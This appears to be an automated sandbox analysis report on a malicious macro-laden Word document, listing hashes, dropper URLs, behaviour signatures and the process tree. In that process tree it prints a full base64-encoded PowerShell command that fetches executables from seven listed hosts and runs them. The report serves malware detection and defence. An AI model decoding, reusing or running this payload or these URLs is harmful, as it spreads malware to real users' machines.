Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-09-2024 16:19
General
-
Target
edf9781de4d9eaa0c6e44c626686f259_JaffaCakes118.doc
-
Size
150KB
-
MD5
edf9781de4d9eaa0c6e44c626686f259
-
SHA1
095b3cb41052b2ded586e39cdf29ebe390026b0b
-
SHA256
5c9b61e7c24cc5d8b1dfdced53ee0347071660ed454abca451ec9ef2c1dca7e1
-
SHA512
c2cad6f9a98f71fe87db7856fa6de49011b5fa5f653ca96ea0f71fe541c4763a3b9373b67f1025f5052236df3eb7285625c6e344ffec24abf7ac6952d45c5233
-
SSDEEP
1536:TJVnK90GM9xuXFEr4Zx50zkGcclJvahtqByHXiNL0CMdfFB6Oy:TfCMbu1Ty+crS3XiNBUfFB6Oy
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://jubilantenterprise.com/wp-admin/Mj/
exe.dropper
http://brycebrumley.com/wp-admin/lj/
exe.dropper
http://aprendiendoganasdigital.com/wp-admin/r/
exe.dropper
http://mymorninglove.com/wp-admin/acv/
exe.dropper
http://shivam-aggarwal.com/cgi-bin/Zr/
exe.dropper
https://originalsalonqatar.com/wp-admin/lS0/
exe.dropper
http://aigtreyas.com/wp-content/p/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\edf9781de4d9eaa0c6e44c626686f259_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAGUAbwBzAG4AYQBlAD0AKAAoACcAUgBlACcAKwAnAHcAJwApACsAKAAnAGEAcQAnACsAJwBjAHcAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAFIAUABSAG8ARgBpAGwARQBcAFIAZQAwAFEAZQB1AFkAXABBAFUASABqAFYAOQAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAQwB0AG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAGAAVQByAGAASQBUAFkAUABSAGAAbwB0AG8AQwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxACcAKwAnADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAE4AawBrAGUAeQAzAHIAIAA9ACAAKAAoACcAVQB1ACcAKwAnAHAAJwApACsAKAAnADEAdQAnACsAJwAwACcAKQApADsAJABVAGQAcgA4AHMAaQAyAD0AKAAnAE8AcwAnACsAKAAnADgAbAB0ACcAKwAnAG4AXwAnACkAKQA7ACQASgAyADQAOQBiAHEAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBBACcAKwAoACcAZAByACcAKwAnAFIAJwApACsAKAAnAGUAMABxAGUAdQB5ACcAKwAnAEEAZAByAEEAdQBoAGoAdgA5ACcAKwAnADMAJwArACcAQQBkACcAKQArACcAcgAnACkALgAiAHIARQBgAHAATABgAEEAQwBlACIAKAAoAFsAYwBoAGEAcgBdADYANQArAFsAYwBoAGEAcgBdADEAMAAwACsAWwBjAGgAYQByAF0AMQAxADQAKQAsAFsAUwBUAHIAaQBOAEcAXQBbAGMAaABhAHIAXQA5ADIAKQApACsAJABOAGsAawBlAHkAMwByACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAUgBfAHEANABhADAAeQA9ACgAKAAnAFkAJwArACcAMABiACcAKQArACcAcgAnACsAKAAnAGEAJwArACcAdABjACcAKQApADsAJABYAGkAdQAzAGkAZgAwAD0ALgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAGMATABpAEUATgB0ADsAJABZAHgANwBlAGsAMgBoAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBqACcAKQArACgAJwB1AGIAJwArACcAaQBsACcAKwAnAGEAbgAnACsAJwB0AGUAbgB0AGUAcgBwACcAKwAnAHIAaQBzAGUALgBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAtAGEAZABtAGkAbgAnACsAJwAvACcAKQArACcATQAnACsAJwBqAC8AJwArACcAKgBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAYwBlACcAKwAnAGIAcgAnACsAJwB1AG0AJwApACsAJwBsACcAKwAnAGUAJwArACgAJwB5AC4AYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuAC8AJwArACcAbABqAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AYQAnACsAJwBwACcAKQArACgAJwByAGUAJwArACcAbgBkAGkAZQBuACcAKQArACgAJwBkACcAKwAnAG8AZwBhACcAKQArACgAJwBuAGEAcwAnACsAJwBkAGkAZwAnACkAKwAoACcAaQB0ACcAKwAnAGEAbAAnACsAJwAuAGMAbwBtAC8AdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAvACcAKwAnAHIAJwApACsAKAAnAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAA6AC8AJwArACcALwBtAHkAbQAnACkAKwAnAG8AcgAnACsAKAAnAG4AaQAnACsAJwBuAGcAbABvAHYAJwApACsAKAAnAGUAJwArACcALgBjACcAKQArACcAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAALQAnACsAJwBhAGQAbQBpAG4AJwApACsAKAAnAC8AYQBjAHYAJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAJwArACcAaABpACcAKQArACcAdgBhACcAKwAoACcAbQAnACsAJwAtAGEAJwApACsAKAAnAGcAZwBhAHIAJwArACcAdwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAbgAnACsAJwAvACcAKQArACcAWgAnACsAJwByAC8AJwArACcAKgAnACsAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8ALwBvAHIAaQBnACcAKQArACgAJwBpACcAKwAnAG4AYQAnACsAJwBsAHMAYQBsACcAKQArACgAJwBvAG4AJwArACcAcQBhAHQAYQAnACkAKwAnAHIALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwAC0AJwArACcAYQBkAG0AJwApACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGwAUwAwACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBhAGkAZwAnACsAJwB0AHIAJwArACcAZQB5ACcAKQArACgAJwBhAHMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AYwBvAG4AJwArACcAdABlAG4AJwArACcAdAAnACsAJwAvAHAALwAnACkAKQAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXADUAdgBvADgAZQB4AD0AKAAnAFkAMAAnACsAKAAnAGIAcwB1ACcAKwAnADMAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAaQA4AGQANQB0AG8AIABpAG4AIAAkAFkAeAA3AGUAawAyAGgAKQB7AHQAcgB5AHsAJABYAGkAdQAzAGkAZgAwAC4AIgBkAE8AdwBuAGwAYABPAEEAYABEAEYAaQBsAGUAIgAoACQAWABpADgAZAA1AHQAbwAsACAAJABKADIANAA5AGIAcQBfACkAOwAkAFUAdgAyADIAZQBnAGwAPQAoACcATAB2ACcAKwAoACcAMAB0AGcAJwArACcAagBnACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEoAMgA0ADkAYgBxAF8AKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAyADAANwA3ADgAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQASgAyADQAOQBiAHEAXwApADsAJABDAHEAegAzAHYAZAB1AD0AKAAoACcARgA2ACcAKwAnAGIAJwArACcAOABmAG0AJwApACsAJwBoACcAKQA7AGIAcgBlAGEAawA7ACQARwB6AHAAMwBsAHoAegA9ACgAJwBUACcAKwAoACcAMABsAGYAZQBjACcAKwAnAHkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAYgByAGwAbgBfAGkAPQAoACcARQBvACcAKwAnADgAJwArACgAJwBsAGoAJwArACcAOQBrACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5dfa851785000837f8fbb2b5c6b53caf2
SHA1594b890ad41d328e321d06d35d949961b08ea201
SHA2561e38e5fbea11e13d76f5ac1851eb53f4b533770f9a17b5393a48fa69161ce74c
SHA512fb1f109634f8615eade70b5dc28159e299529f87584488758a102a9b38b09334b10cb8b1db688b519b938054b53f5d80ff060776bc6edcd8503ea3972d713f24
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
2.9MB
-
Filesize
32KB